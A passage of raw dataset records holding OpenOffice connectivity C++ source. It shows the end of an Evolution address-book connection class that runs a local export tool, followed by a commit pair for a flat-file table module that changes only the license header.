::com::sun::star::sdbc;\nusing namespace ::com::sun::star::lang;\n\n::rtl::OUString implGetExceptionMsg( Exception& e, const ::rtl::OUString& aExceptionType_ )\n{\n ::rtl::OUString aExceptionType = aExceptionType_;\n if( aExceptionType.getLength() == 0 )\n aExceptionType = ::rtl::OUString( ::rtl::OUString::createFromAscii(\"Unknown\" ) );\n\n ::rtl::OUString aTypeLine( ::rtl::OUString::createFromAscii(\"\\nType: \" ) );\n aTypeLine += aExceptionType;\n\n ::rtl::OUString aMessageLine( ::rtl::OUString::createFromAscii(\"\\nMessage: \" ) );\n aMessageLine += ::rtl::OUString( e.Message );\n\n ::rtl::OUString aMsg(aTypeLine);\n aMsg += aMessageLine;\n return aMsg;\n}\n\n \/\/ Exception type unknown\n::rtl::OUString implGetExceptionMsg( Exception& e )\n{\n ::rtl::OUString aMsg = implGetExceptionMsg( e, ::rtl::OUString() );\n return aMsg;\n}\n\n\/\/ --------------------------------------------------------------------------------\nOEvoabConnection::OEvoabConnection(OEvoabDriver* _pDriver) : OConnection(_pDriver)\n ,m_bHeaderLine(sal_True)\n ,m_cFieldDelimiter(',')\n ,m_cStringDelimiter('\"')\n ,m_cDecimalDelimiter('.')\n ,m_cThousandDelimiter(' ')\n{\n \/\/ Initialise m_aColumnAlias.\n m_aColumnAlias.setAlias(_pDriver->getFactory());\n}\n\/\/-----------------------------------------------------------------------------\nOEvoabConnection::~OEvoabConnection()\n{\n}\n\n\/\/ XServiceInfo\n\/\/ --------------------------------------------------------------------------------\nIMPLEMENT_SERVICE_INFO(OEvoabConnection, \"com.sun.star.sdbc.drivers.evoab.Connection\", \"com.sun.star.sdbc.Connection\")\n\n\/\/-----------------------------------------------------------------------------\nvoid OEvoabConnection::construct(const ::rtl::OUString& url,const Sequence< PropertyValue >& info) throw(SQLException)\n{\n osl_incrementInterlockedCount( &m_refCount );\n EVO_TRACE_STRING(\"OEvoabConnection::construct()::url = %s\\n\", url );\n\n\n ::rtl::OUString aCLICommand = getDriver()->getEvoab_CLI_EffectiveCommand();\n ::rtl::OUString aWorkingDirPath = getDriver()->getWorkingDirPath();\n ::rtl::OUString aArg1 = ::rtl::OUString::createFromAscii(OEvoabDriver::getEVOAB_CLI_ARG_LIST_FOLDERS());\n ::rtl::OUString aArg2 = ::rtl::OUString::createFromAscii(OEvoabDriver::getEVOAB_CLI_ARG_OUTPUT_FILE_PREFIX());\n aArg2 += aWorkingDirPath;\n aArg2 += getDriver()->getEvoFolderListFileName();\n OArgumentList aArgs(2,&aArg1,&aArg2);\n\n EVO_TRACE_STRING(\"OEvoabConnection::construct()::aCLICommand = %s\\n\", aCLICommand );\n EVO_TRACE_STRING(\"OEvoabConnection::construct()::aWorkingDirPath = %s\\n\", aWorkingDirPath );\n EVO_TRACE_STRING(\"OEvoabConnection::construct()::aArg1 = %s\\n\", aArg1 );\n EVO_TRACE_STRING(\"OEvoabConnection::construct()::aArg2 = %s\\n\", aArg2 );\n OProcess aApp( aCLICommand,aWorkingDirPath);\n OProcess::TProcessError eError = aApp.execute( (OProcess::TProcessOption)(OProcess::TOption_Hidden | OProcess::TOption_Wait | OProcess::TOption_SearchPath),aArgs);\n DBG_ASSERT(eError == OProcess::E_None,\"Error at execute evolution-addressbook-export to get VCards\");\n\n\n Sequence<PropertyValue> aDriverParam;\n ::std::vector<PropertyValue> aParam;\n\n aParam.push_back(PropertyValue(::rtl::OUString::createFromAscii(\"EnableSQL92Check\"), 0, Any(), PropertyState_DIRECT_VALUE));\n ::dbtools::OCharsetMap aLookupIanaName;\n ::dbtools::OCharsetMap::const_iterator aLookup = aLookupIanaName.find(RTL_TEXTENCODING_UTF8);\n aParam.push_back(PropertyValue(::rtl::OUString::createFromAscii(\"CharSet\"), 0,\n makeAny((*aLookup).getIanaName()), PropertyState_DIRECT_VALUE));\n aParam.push_back(PropertyValue(::rtl::OUString::createFromAscii(\"Extension\"), 0, makeAny(getDriver()->getFileExt()), PropertyState_DIRECT_VALUE));\n aParam.push_back(PropertyValue(::rtl::OUString::createFromAscii(\"HeaderLine\"), 0, makeAny(m_bHeaderLine), PropertyState_DIRECT_VALUE));\n aParam.push_back(PropertyValue(::rtl::OUString::createFromAscii(\"FieldDelimiter\"), 0, makeAny(::rtl::OUString(&m_cFieldDelimiter,1)), PropertyState_DIRECT_VALUE));\n aParam.push_back(PropertyValue(::rtl::OUString::createFromAscii(\"StringDelimiter\"), 0, makeAny(::rtl::OUString(&m_cStringDelimiter,1)), PropertyState_DIRECT_VALUE));\n aParam.push_back(PropertyValue(::rtl::OUString::createFromAscii(\"DecimalDelimiter\"), 0, makeAny(::rtl::OUString(&m_cDecimalDelimiter,1)), PropertyState_DIRECT_VALUE));\n aParam.push_back(PropertyValue(::rtl::OUString::createFromAscii(\"ThousandDelimiter\"), 0, makeAny(::rtl::OUString(&m_cThousandDelimiter,1)), PropertyState_DIRECT_VALUE));\n\n \/\/ build a new parameter sequence from the original parameters, appended by the new parameters from above\n PropertyValue *pParams = aParam.empty() ? 0 : &aParam[0];\n aDriverParam = ::comphelper::concatSequences(\n info,\n Sequence< PropertyValue >( pParams, aParam.size() )\n );\n\n \/\/ transform \"sdbc:address:evolution\" part of URL to \"sdbc:flat:file:\/\/\/...\"\n \/\/\n sal_Int32 nLen = url.indexOf(':');\n nLen = url.indexOf(':',nLen+1);\n ::rtl::OUString aAddrbookURI(url.copy(nLen+1));\n \/\/ Get Scheme\n nLen = aAddrbookURI.indexOf(':');\n ::rtl::OUString aAddrbookScheme;\n if ( nLen == -1 )\n {\n \/\/ There isn't any subschema: - but could be just subschema\n if ( aAddrbookURI.getLength() > 0 )\n {\n aAddrbookScheme= aAddrbookURI;\n }\n else\n {\n OSL_TRACE( \"No subschema given!!!\\n\");\n ::dbtools::throwGenericSQLException(\n ::rtl::OUString::createFromAscii(\"No subschema provided\"),NULL);\n }\n }\n else\n {\n aAddrbookScheme = aAddrbookURI.copy(0, nLen);\n }\n\n EVO_TRACE_STRING(\"OEvoabConnection::construct()::URI = %s\\n\", aAddrbookURI );\n EVO_TRACE_STRING(\"OEvoabConnection::construct()::Scheme = %s\\n\", aAddrbookScheme );\n\n \/\/\n \/\/ Now we have a URI convert it to a Evolution CLI flat file URI\n \/\/\n \/\/ The Mapping being used is:\n \/\/\n \/\/ * for Evolution\n \/\/ \"sdbc:address:evolution:\" -> \"sdbc:flat:file:\/\/\/(file path generated)\n\n rtl::OUString aEvoFlatURI;\n if ( aAddrbookScheme.compareToAscii( OEvoabDriver::getSDBC_SCHEME_EVOLUTION() ) == 0 )\n {\n aEvoFlatURI = ::rtl::OUString(RTL_CONSTASCII_USTRINGPARAM( \"sdbc:flat:\" ));\n }\n\n\n aEvoFlatURI += getDriver()->getWorkingDirURL();\n EVO_TRACE_STRING(\"OEvoabConnection::construct()::m_aEvoFlatURI = %s\\n\", aEvoFlatURI );\n \/\/setURL(aEvoFlatURI);\n m_aEvoFlatURI = aEvoFlatURI;\n\n osl_decrementInterlockedCount( &m_refCount );\n OConnection::construct(aEvoFlatURI,aDriverParam);\n}\n\/\/ --------------------------------------------------------------------------------\nReference< XDatabaseMetaData > SAL_CALL OEvoabConnection::getMetaData( ) throw(SQLException, RuntimeException)\n{\n ::osl::MutexGuard aGuard( m_aMutex );\n checkDisposed(OConnection_B::rBHelper.bDisposed);\n\n\n Reference< XDatabaseMetaData > xMetaData = m_xMetaData;\n if(!xMetaData.is())\n {\n xMetaData = new OEvoabDatabaseMetaData(this);\n m_xMetaData = xMetaData;\n }\n\n return xMetaData;\n}\n\/\/------------------------------------------------------------------------------\n::com::sun::star::uno::Reference< XTablesSupplier > OEvoabConnection::createCatalog()\n{\n ::osl::MutexGuard aGuard( m_aMutex );\n Reference< XTablesSupplier > xTab = m_xCatalog;\n if(!xTab.is())\n {\n OEvoabCatalog *pCat = new OEvoabCatalog(this);\n xTab = pCat;\n m_xCatalog = xTab;\n }\n return xTab;\n}\n\/\/ --------------------------------------------------------------------------------\nReference< XStatement > SAL_CALL OEvoabConnection::createStatement( ) throw(SQLException, RuntimeException)\n{\n ::osl::MutexGuard aGuard( m_aMutex );\n checkDisposed(OConnection_B::rBHelper.bDisposed);\n\n OEvoabStatement* pStmt = new OEvoabStatement(this);\n\n Reference< XStatement > xStmt = pStmt;\n m_aStatements.push_back(WeakReferenceHelper(*pStmt));\n return xStmt;\n}\n\/\/ --------------------------------------------------------------------------------\nReference< XPreparedStatement > SAL_CALL OEvoabConnection::prepareStatement( const ::rtl::OUString& sql ) throw(SQLException, RuntimeException)\n{\n ::osl::MutexGuard aGuard( m_aMutex );\n checkDisposed(OConnection_B::rBHelper.bDisposed);\n\n\n OEvoabPreparedStatement* pStmt = new OEvoabPreparedStatement(this);\n Reference< XPreparedStatement > xStmt = pStmt;\n pStmt->construct(sql);\n\n m_aStatements.push_back(WeakReferenceHelper(*pStmt));\n return xStmt;\n}\n\/\/ --------------------------------------------------------------------------------\nReference< XPreparedStatement > SAL_CALL OEvoabConnection::prepareCall( const ::rtl::OUString& sql ) throw(SQLException, RuntimeException)\n{\n ::osl::MutexGuard aGuard( m_aMutex );\n checkDisposed(OConnection_B::rBHelper.bDisposed);\n\n return NULL;\n}\n\/\/ -------------------------------------------------------------------------\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: ENoException.cxx,v $\n *\n * $Revision: 1.6 $\n *\n * last change: $Author: obo $ $Date: 2003-09-04 08:26:47 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the License); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an AS IS basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n#ifndef _CONNECTIVITY_FLAT_TABLE_HXX_\n#include \"flat\/ETable.hxx\"\n#endif\n#ifndef _CONNECTIVITY_FLAT_ECONNECTION_HXX_\n#include \"flat\/EConnection.hxx\"\n#endif\n\nusing namespace connectivity;\nusing namespace connectivity::flat;\n\n\/\/------------------------------------------------------------------\nxub_StrLen OFlatString::GetTokenCount( sal_Unicode cTok, sal_Unicode cStrDel ) const\n{\n if ( !Len() )\n return 0;\n\n xub_StrLen nTokCount = 1;\n BOOL bStart = TRUE; \/\/ Stehen wir auf dem ersten Zeichen im Token?\n BOOL bInString = FALSE; \/\/ Befinden wir uns INNERHALB eines (cStrDel delimited) String?\n\n \/\/ Suche bis Stringende nach dem ersten nicht uebereinstimmenden Zeichen\n for( xub_StrLen i = 0; i < Len(); i++ )\n {\n if (bStart)\n {\n bStart = FALSE;\n \/\/ Erstes Zeichen ein String-Delimiter?\n if ((*this).GetChar(i) == cStrDel)\n {\n bInString = TRUE; \/\/ dann sind wir jetzt INNERHALB des Strings!\n continue; \/\/ dieses Zeichen ueberlesen!\n }\n }\n\n if (bInString) {\n \/\/ Wenn jetzt das String-Delimiter-Zeichen auftritt ...\n if ( (*this).GetChar(i) == cStrDel )\n {\n if ((i+1 < Len()) && ((*this).GetChar(i+1) == cStrDel))\n {\n \/\/ Verdoppeltes String-Delimiter-Zeichen:\n i++; \/\/ kein String-Ende, naechstes Zeichen ueberlesen.\n }\n else\n {\n \/\/ String-Ende\n bInString = FALSE;\n }\n }\n } else {\n \/\/ Stimmt das Tokenzeichen ueberein, dann erhoehe TokCount\n if ( (*this).GetChar(i) == cTok )\n {\n nTokCount++;\n bStart = TRUE;\n }\n }\n }\n\n return nTokCount;\n}\n\n\/\/------------------------------------------------------------------\nvoid OFlatString::GetTokenSpecial( String& _rStr,xub_StrLen& nStartPos, sal_Unicode cTok, sal_Unicode cStrDel ) const\n{\n _rStr.Erase();\n xub_StrLen nLen = Len();\n if ( nLen )\n {\n BOOL bInString = (nStartPos < nLen) && ((*this).GetChar(nStartPos) == cStrDel); \/\/ Befinden wir uns INNERHALB eines (cStrDel delimited) String?\n\n \/\/ Erstes Zeichen ein String-Delimiter?\n if (bInString )\n ++nStartPos; \/\/ dieses Zeichen ueberlesen!\n \/\/ Suche bis Stringende nach dem ersten nicht uebereinstimmenden Zeichen\n xub_StrLen i = nStartPos;\n for( ; i < nLen; ++i )\n {\n if (bInString)\n {\n \/\/ Wenn jetzt das String-Delimiter-Zeichen auftritt ...\n if ( (*this).GetChar(i) == cStrDel )\n {\n if ((i+1 < nLen) && ((*this).GetChar(i+1) == cStrDel))\n {\n \/\/ Verdoppeltes String-Delimiter-Zeichen:\n ++i; \/\/ kein String-Ende, naechstes Zeichen ueberlesen.\n\n _rStr += (*this).GetChar(i); \/\/ Zeichen gehoert zum Resultat-String\n }\n else\n {\n \/\/ String-Ende\n bInString = FALSE;\n }\n }\n else\n {\n _rStr += (*this).GetChar(i); \/\/ Zeichen gehoert zum Resultat-String\n }\n\n }\n else\n {\n \/\/ Stimmt das Tokenzeichen ueberein, dann erhoehe nTok\n if ( (*this).GetChar(i) == cTok )\n {\n \/\/ Vorzeitiger Abbruch der Schleife moeglich, denn\n \/\/ wir haben, was wir wollten.\n nStartPos = i+1;\n break;\n }\n else\n {\n _rStr += (*this).GetChar(i); \/\/ Zeichen gehoert zum Resultat-String\n }\n }\n }\n if ( i == nLen && nStartPos < i )\n nStartPos = nLen;\n }\n}\n\/\/ -----------------------------------------------------------------------------\nsal_Bool OFlatTable::checkHeaderLine()\n{\n if (m_nFilePos == 0 && ((OFlatConnection*)m_pConnection)->isHeaderLine())\n {\n BOOL bRead2;\n do\n {\n bRead2 = m_pFileStream->ReadByteStringLine(m_aCurrentLine,m_pConnection->getTextEncoding());\n }\n while(bRead2 && !m_aCurrentLine.Len());\n\n m_nFilePos = m_pFileStream->Tell();\n if (m_pFileStream->IsEof())\n return sal_False;\n }\n return sal_True;\n}\n\/\/------------------------------------------------------------------\nsal_Bool OFlatTable::seekRow(IResultSetHelper::Movement eCursorPosition, sal_Int32 nOffset, sal_Int32& nCurPos)\n{\n if ( !m_pFileStream )\n return sal_False;\n OFlatConnection* pConnection = (OFlatConnection*)m_pConnection;\n \/\/ ----------------------------------------------------------\n \/\/ Positionierung vorbereiten:\n\n sal_uInt32 nTempPos = m_nFilePos;\n m_nFilePos = nCurPos;\n\n switch(eCursorPosition)\n {\n case IResultSetHelper::FIRST:\n m_nFilePos = 0;\n m_nRowPos = 1;\n \/\/ run through\n case IResultSetHelper::NEXT:\n if(eCursorPosition != IResultSetHelper::FIRST)\n ++m_nRowPos;\n m_pFileStream->Seek(m_nFilePos);\n if (m_pFileStream->IsEof() || !checkHeaderLine())\n {\n m_nMaxRowCount = m_nRowPos;\n return sal_False;\n }\n\n m_aRowToFilePos.insert(::std::map<sal_Int32,sal_Int32>::value_type(m_nRowPos,m_nFilePos));\n\n m_pFileStream->ReadByteStringLine(m_aCurrentLine,pConnection->getTextEncoding());\n if (m_pFileStream->IsEof())\n {\n m_nMaxRowCount = m_nRowPos;\n return sal_False;\n }\n nCurPos = m_pFileStream->Tell();\n break;\n case IResultSetHelper::PRIOR:\n --m_nRowPos;\n if(m_nRowPos > 0)\n {\n m_nFilePos = m_aRowToFilePos.find(m_nRowPos)->second;\n m_pFileStream->Seek(m_nFilePos);\n if (m_pFileStream->IsEof() || !checkHeaderLine())\n return sal_False;\n m_pFileStream->ReadByteStringLine(m_aCurrentLine,pConnection->getTextEncoding());\n if (m_pFileStream->IsEof())\n return sal_False;\n nCurPos = m_pFileStream->Tell();\n }\n else\n m_nRowPos = 0;\n\n break;\n\n break;\n case IResultSetHelper::LAST:\n if(m_nMaxRowCount)\n {\n m_nFilePos = m_aRowToFilePos.rbegin()->second;\n m_nRowPos = m_aRowToFilePos.rbegin()->first;\n m_pFileStream->Seek(m_nFilePos);\n if (m_pFileStream->IsEof() || !checkHeaderLine())\n return sal_False;\n m_pFileStream->ReadByteStringLine(m_aCurrentLine,pConnection->getTextEncoding());\n if (m_pFileStream->IsEof())\n return sal_False;\n nCurPos = m_pFileStream->Tell();\n }\n else\n {\n while(seekRow(IResultSetHelper::NEXT,1,nCurPos)) ; \/\/ run through after last row\n \/\/ now I know all\n seekRow(IResultSetHelper::PRIOR,1,nCurPos);\n }\n break;\n case IResultSetHelper::RELATIVE:\n if(nOffset > 0)\n {\n for(sal_Int32 i = 0;i<nOffset;++i)\n seekRow(IResultSetHelper::NEXT,1,nCurPos);\n }\n else if(nOffset < 0)\n {\n for(sal_Int32 i = nOffset;i;++i)\n seekRow(IResultSetHelper::PRIOR,1,nCurPos);\n }\n break;\n case IResultSetHelper::ABSOLUTE:\n {\n if(nOffset < 0)\n nOffset = m_nRowPos + nOffset;\n ::std::map<sal_Int32,sal_Int32>::const_iterator aIter = m_aRowToFilePos.find(nOffset);\n if(aIter != m_aRowToFilePos.end())\n {\n m_nFilePos = aIter->second;\n m_pFileStream->Seek(m_nFilePos);\n if (m_pFileStream->IsEof() || !checkHeaderLine())\n return sal_False;\n m_pFileStream->ReadByteStringLine(m_aCurrentLine,pConnection->getTextEncoding());\n if (m_pFileStream->IsEof())\n return sal_False;\n nCurPos = m_pFileStream->Tell();\n }\n else if(m_nMaxRowCount && nOffset > m_nMaxRowCount) \/\/ offset is outside the table\n {\n m_nRowPos = m_nMaxRowCount;\n return sal_False;\n }\n else\n {\n aIter = m_aRowToFilePos.upper_bound(nOffset);\n if(aIter == m_aRowToFilePos.end())\n {\n m_nRowPos = m_aRowToFilePos.rbegin()->first;\n nCurPos = m_nFilePos = m_aRowToFilePos.rbegin()->second;\n while(m_nRowPos != nOffset)\n seekRow(IResultSetHelper::NEXT,1,nCurPos);\n }\n else\n {\n --aIter;\n m_nRowPos = aIter->first;\n m_nFilePos = aIter->second;\n m_pFileStream->Seek(m_nFilePos);\n if (m_pFileStream->IsEof() || !checkHeaderLine())\n return sal_False;\n m_pFileStream->ReadByteStringLine(m_aCurrentLine,pConnection->getTextEncoding());\n if (m_pFileStream->IsEof())\n return sal_False;\n nCurPos = m_pFileStream->Tell();\n }\n }\n }\n\n break;\n case IResultSetHelper::BOOKMARK:\n m_pFileStream->Seek(nOffset);\n if (m_pFileStream->IsEof())\n return sal_False;\n\n m_nFilePos = m_pFileStream->Tell(); \/\/ Byte-Position in der Datei merken (am ZeilenANFANG)\n m_pFileStream->ReadByteStringLine(m_aCurrentLine,pConnection->getTextEncoding());\n if (m_pFileStream->IsEof())\n return sal_False;\n nCurPos = m_pFileStream->Tell();\n break;\n }\n\n\n return sal_True;\n}\n\/\/ -----------------------------------------------------------------------------\n\n\n\n<commit_msg>INTEGRATION: CWS ooo19126 (1.6.198); FILE MERGED 2005\/09\/05 17:23:54 rt 1.6.198.1: #i54170# Change license header: remove SISSL<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: ENoException.cxx,v $\n *\n * $Revision: 1.7 $\n *\n * last change: $Author: rt $ $Date: 2005-09-08 06:00:35 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n#ifndef _CONNECTIVITY_FLAT_TABLE_HXX_\n#include \"flat\/ETable.hxx\"\n#endif\n#ifndef _CONNECTIVITY_FLAT_ECONNECTION_HXX_\n#include \"flat\/EConnection.hxx\"\n#endif\n\nusing namespace connectivity;\nusing namespace connectivity::flat;\n\n\/\/------------------------------------------------------------------\nxub_StrLen OFlatString::GetTokenCount( sal_Unicode cTok, sal_Unicode cStrDel ) const\n{\n if ( !Len() )\n return 0;\n\n xub_StrLen nTokCount = 1;\n BOOL bStart = TRUE; \/\/ Stehen wir auf dem ersten Zeichen im Token?\n BOOL bInString = FALSE; \/\/ Befinden wir uns INNERHALB eines (cStrDel delimited) String?\n\n \/\/ Suche bis Stringende nach dem ersten nicht uebereinstimmenden Zeichen\n for( xub_StrLen i = 0; i < Len(); i++ )\n {\n if (bStart)\n {\n bStart = FALSE;\n \/\/ Erstes Zeichen ein String-Delimiter?\n if ((*this).GetChar(i) == cStrDel)\n {\n bInString = TRUE; \/\/ dann sind wir jetzt INNERHALB des Strings!\n continue; \/\/ dieses Zeichen ueberlesen!\n }\n }\n\n if (bInString) {\n \/\/ Wenn jetzt das String-Delimiter-Zeichen auftritt ...\n if ( (*this).GetChar(i) == cStrDel )\n {\n if ((i+1 < Len()) && ((*this).GetChar(i+1) == cStrDel))\n {\n \/\/ Verdoppeltes String-Delimiter-Zeichen:\n i++; \/\/ kein String-Ende, naechstes Zeichen ueberlesen.\n }\n else\n {\n \/\/ String-Ende\n bInString = FALSE;\n }\n }\n } else {\n \/\/ Stimmt das Tokenzeichen ueberein, dann erhoehe TokCount\n if ( (*this).GetChar(i) == cTok )\n {\n nTokCount++;\n bStart = TRUE;\n }\n }\n }\n\n return nTokCount;\n}\n\n\/\/------------------------------------------------------------------\nvoid OFlatString::GetTokenSpecial( String& _rStr,xub_StrLen& nStartPos, sal_Unicode cTok, sal_Unicode cStrDel ) const\n{\n _rStr.Erase();\n xub_StrLen nLen = Len();\n if ( nLen )\n {\n BOOL bInString = (nStartPos < nLen) && ((*this).GetChar(nStartPos) == cStrDel); \/\/ Befinden wir uns INNERHALB eines (cStrDel delimited) String?\n\n \/\/ Erstes Zeichen ein String-Delimiter?\n if (bInString )\n ++nStartPos; \/\/ dieses Zeichen ueberlesen!\n \/\/ Suche bis Stringende nach dem ersten nicht uebereinstimmenden Zeichen\n xub_StrLen i = nStartPos;\n for( ; i < nLen; ++i )\n {\n if (bInString)\n {\n \/\/ Wenn jetzt das String-Delimiter-Zeichen auftritt ...\n if ( (*this).GetChar(i) == cStrDel )\n {\n if ((i+1 < nLen) && ((*this).GetChar(i+1) == cStrDel))\n {\n \/\/ Verdoppeltes String-Delimiter-Zeichen:\n ++i; \/\/ kein String-Ende, naechstes Zeichen ueberlesen.\n\n _rStr += (*this).GetChar(i); \/\/ Zeichen gehoert zum Resultat-String\n }\n else\n {\n \/\/ String-Ende\n bInString = FALSE;\n }\n }\n else\n {\n _rStr += (*this).GetChar(i); \/\/ Zeichen gehoert zum Resultat-String\n }\n\n }\n else\n {\n \/\/ Stimmt das Tokenzeichen ueberein, dann erhoehe nTok\n if ( (*this).GetChar(i) == cTok )\n {\n \/\/ Vorzeitiger Abbruch der Schleife moeglich, denn\n \/\/ wir haben, was wir wollten.\n nStartPos = i+1;\n break;\n }\n else\n {\n _rStr += (*this).GetChar(i); \/\/ Zeichen gehoert zum Resultat-String\n }\n }\n }\n if ( i == nLen && nStartPos < i )\n nStartPos = nLen;\n }\n}\n\/\/ -----------------------------------------------------------------------------\nsal_Bool OFlatTable::checkHeaderLine()\n{\n if (m_nFilePos == 0 && ((OFlatConnection*)m_pConnection)->isHeaderLine())\n {\n BOOL bRead2;\n do\n {\n bRead2 = m_pFileStream->ReadByteStringLine(m_aCurrentLine,m_pConnection->getTextEncoding());\n }\n while(bRead2 && !m_aCurrentLine.Len());\n\n m_nFilePos = m_pFileStream->Tell();\n if (m_pFileStream->IsEof())\n return sal_False;\n }\n return sal_True;\n}\n\/\/------------------------------------------------------------------\nsal_Bool OFlatTable::seekRow(IResultSetHelper::Movement eCursorPosition, sal_Int32 nOffset, sal_Int32& nCurPos)\n{\n if ( !m_pFileStream )\n return sal_False;\n OFlatConnection* pConnection = (OFlatConnection*)m_pConnection;\n \/\/ ----------------------------------------------------------\n \/\/ Positionierung vorbereiten:\n\n sal_uInt32 nTempPos = m_nFilePos;\n m_nFilePos = nCurPos;\n\n switch(eCursorPosition)\n {\n case IResultSetHelper::FIRST:\n m_nFilePos = 0;\n m_nRowPos = 1;\n \/\/ run through\n case IResultSetHelper::NEXT:\n if(eCursorPosition != IResultSetHelper::FIRST)\n ++m_nRowPos;\n m_pFileStream->Seek(m_nFilePos);\n if (m_pFileStream->IsEof() || !checkHeaderLine())\n {\n m_nMaxRowCount = m_nRowPos;\n return sal_False;\n }\n\n m_aRowToFilePos.insert(::std::map<sal_Int32,sal_Int32>::value_type(m_nRowPos,m_nFilePos));\n\n m_pFileStream->ReadByteStringLine(m_aCurrentLine,pConnection->getTextEncoding());\n if (m_pFileStream->IsEof())\n {\n m_nMaxRowCount = m_nRowPos;\n return sal_False;\n }\n nCurPos = m_pFileStream->Tell();\n break;\n case IResultSetHelper::PRIOR:\n --m_nRowPos;\n if(m_nRowPos > 0)\n {\n m_nFilePos = m_aRowToFilePos.find(m_nRowPos)->second;\n m_pFileStream->Seek(m_nFilePos);\n if (m_pFileStream->IsEof() || !checkHeaderLine())\n return sal_False;\n m_pFileStream->ReadByteStringLine(m_aCurrentLine,pConnection->getTextEncoding());\n if (m_pFileStream->IsEof())\n return sal_False;\n nCurPos = m_pFileStream->Tell();\n }\n else\n m_nRowPos = 0;\n\n break;\n\n break;\n case IResultSetHelper::LAST:\n if(m_nMaxRowCount)\n {\n m_nFilePos = m_aRowToFilePos.rbegin()->second;\n m_nRowPos = m_aRowToFilePos.rbegin()->first;\n m_pFileStream->Seek(m_nFilePos);\n if (m_pFileStream->IsEof() || !checkHeaderLine())\n return sal_False;\n m_pFileStream->ReadByteStringLine(m_aCurrentLine,pConnection->getTextEncoding());\n if (m_pFileStream->IsEof())\n return sal_False;\n nCurPos = m_pFileStream->Tell();\n }\n else\n {\n while(seekRow(IResultSetHelper::NEXT,1,nCurPos)) ; \/\/ run through after last row\n \/\/ now I know all\n seekRow(IResultSetHelper::PRIOR,1,nCurPos);\n }\n break;\n case IResultSetHelper::RELATIVE:\n if(nOffset > 0)\n {\n for(sal_Int32 i = 0;i<nOffset;++i)\n seekRow(IResultSetHelper::NEXT,1,nCurPos);\n }\n else if(nOffset < 0)\n {\n for(sal_Int32 i = nOffset;i;++i)\n seekRow(IResultSetHelper::PRIOR,1,nCurPos);\n }\n break;\n case IResultSetHelper::ABSOLUTE:\n {\n if(nOffset < 0)\n nOffset = m_nRowPos + nOffset;\n ::std::map<sal_Int32,sal_Int32>::const_iterator aIter = m_aRowToFilePos.find(nOffset);\n if(aIter != m_aRowToFilePos.end())\n {\n m_nFilePos = aIter->second;\n m_pFileStream->Seek(m_nFilePos);\n if (m_pFileStream->IsEof() || !checkHeaderLine())\n return sal_False;\n m_pFileStream->ReadByteStringLine(m_aCurrentLine,pConnection->getTextEncoding());\n if (m_pFileStream->IsEof())\n return sal_False;\n nCurPos = m_pFileStream->Tell();\n }\n else if(m_nMaxRowCount && nOffset > m_nMaxRowCount) \/\/ offset is outside the table\n {\n m_nRowPos = m_nMaxRowCount;\n return sal_False;\n }\n else\n {\n aIter = m_aRowToFilePos.upper_bound(nOffset);\n if(aIter == m_aRowToFilePos.end())\n {\n m_nRowPos = m_aRowToFilePos.rbegin()->first;\n nCurPos = m_nFilePos = m_aRowToFilePos.rbegin()->second;\n while(m_nRowPos != nOffset)\n seekRow(IResultSetHelper::NEXT,1,nCurPos);\n }\n else\n {\n --aIter;\n m_nRowPos = aIter->first;\n m_nFilePos = aIter->second;\n m_pFileStream->Seek(m_nFilePos);\n if (m_pFileStream->IsEof() || !checkHeaderLine())\n return sal_False;\n m_pFileStream->ReadByteStringLine(m_aCurrentLine,pConnection->getTextEncoding());\n if (m_pFileStream->IsEof())\n return sal_False;\n nCurPos = m_pFileStream->Tell();\n }\n }\n }\n\n break;\n case IResultSetHelper::BOOKMARK:\n m_pFileStream->Seek(nOffset);\n if (m_pFileStream->IsEof())\n return sal_False;\n\n m_nFilePos = m_pFileStream->Tell(); \/\/ Byte-Position in der Datei merken (am ZeilenANFANG)\n m_pFileStream->ReadByteStringLine(m_aCurrentLine,pConnection->getTextEncoding());\n if (m_pFileStream->IsEof())\n return sal_False;\n 